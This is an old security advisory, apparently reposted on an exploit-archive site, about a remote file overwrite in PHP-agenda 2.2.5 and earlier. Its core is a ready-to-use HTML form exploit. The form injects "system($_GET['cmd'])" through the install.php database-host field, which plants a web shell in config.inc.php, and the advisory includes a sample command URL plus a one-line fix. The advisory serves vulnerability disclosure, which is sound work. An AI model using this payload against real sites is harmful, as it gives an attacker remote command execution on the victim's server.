PHP-agenda <= 2.2.5 Remote File Overwriting

2009.04.11
Credit: Salvatore
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

******* Salvatore "drosophila" Fresta ******* [+] Application: PHP-agenda [+] Version: <= 2.2.5 [+] Website: http://php-agenda.sourceforge.net [+] Bugs: [A] Remote File Overwriting [+] Exploitation: Remote [+] Date: 10 Apr 2009 [+] Discovered by: Salvatore "drosophila" Fresta [+] Author: Salvatore "drosophila" Fresta [+] Contact: e-mail: drosophilaxxx_at_gmail&#46;com ************************************************* [+] Menu 1) Bugs 2) Code 3) Fix ************************************************* [+] Bugs - [A] Remote File Overwriting [-] Risk: hight [-] File affected: install.php This bug allows a guest to overwrite config.inc.php inserting PHP code. ************************************************* [+] Code - [A] Remote File Overwriting <html> <head>PHP-agenda <= 2.2.5 - Remote File Overwriting</head> <body> <form action="http://www.site.com/path/install.php" method="post"> <input type="text" name="dbhost" size="30" value="'; system($_GET['cmd']); echo '"> <input type="submit" value="Exploit!" > </form> </body> </head> To execute commands: http://www.site.com/path/config.inc.php?cmd=uname -a ************************************************* [+] Fix You must delete install.php after installation. *************************************************

References:

http://seclists.org/bugtraq/2009/Apr/0098.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top